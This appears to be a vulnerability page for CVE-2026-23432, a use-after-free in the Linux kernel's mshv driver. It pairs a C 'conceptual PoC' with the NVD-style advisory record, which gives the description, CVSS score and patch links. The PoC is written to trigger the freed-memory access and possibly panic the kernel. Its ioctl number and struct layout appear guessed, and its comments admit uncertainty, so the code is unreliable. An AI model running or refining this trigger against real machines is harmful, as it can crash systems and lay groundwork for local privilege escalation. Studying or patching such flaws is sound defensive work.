CVE-2026-23432

// Conceptual PoC for CVE-2026-23432 // This code demonstrates the trigger logic for the UAF in mshv. // It requires the mshv kernel module to be loaded. #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> #define MSHV_MAP_USER_MEMORY _IOW('H', 0x01, struct mshv_map_user_memory) struct mshv_map_user_memory { unsigned long addr; unsigned long size; }; int main() { int fd = open("/dev/mshv", O_RDWR); if (fd < 0) { perror("Failed to open /dev/mshv"); return -1; } // Allocate user memory size_t map_size = 0x1000; void *addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { perror("mmap failed"); close(fd); return -1; } struct mshv_map_user_memory map_req = { .addr = (unsigned long)addr, .size = map_size }; // Trigger the error path in mshv_map_user_memory // Depending on the specific check, we might need invalid flags or size. // This call is intended to fail and hit the buggy vfree() path. int ret = ioctl(fd, MSHV_MAP_USER_MEMORY, &map_req); if (ret < 0) { perror("ioctl failed (expected to trigger error path)"); } // Unmap the memory to trigger the MMU notifier on the freed region munmap(addr, map_size); close(fd); // If vulnerable, the kernel may panic here due to UAF printf("Trigger completed.\n"); return 0; }

{"cve": {"id": "CVE-2026-23432", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:24.637", "lastModified": "2026-04-27T14:16:32.470", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmshv: Fix use-after-free in mshv_map_user_memory error path\n\nIn the error path of mshv_map_user_memory(), calling vfree() directly on\nthe region leaves the MMU notifier registered. When userspace later unmaps\nthe memory, the notifier fires and accesses the freed region, causing a\nuse-after-free and potential kernel panic.\n\nReplace vfree() with mshv_partition_put() to properly unregister\nthe MMU notifier before freeing the region."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.10", "matchCriteriaId": "D70DEFFE-AC47-4F3A-A2B2-2D67AB4CF3C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:*", "matchCriteriaId": "35C8A871-4971-433E-A046-FC9F7B7D190A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/34861bdc0c0196b6c2dd48f7454029407704ff6e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6922db250422a0dfee34de322f86b7a73d713d33", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}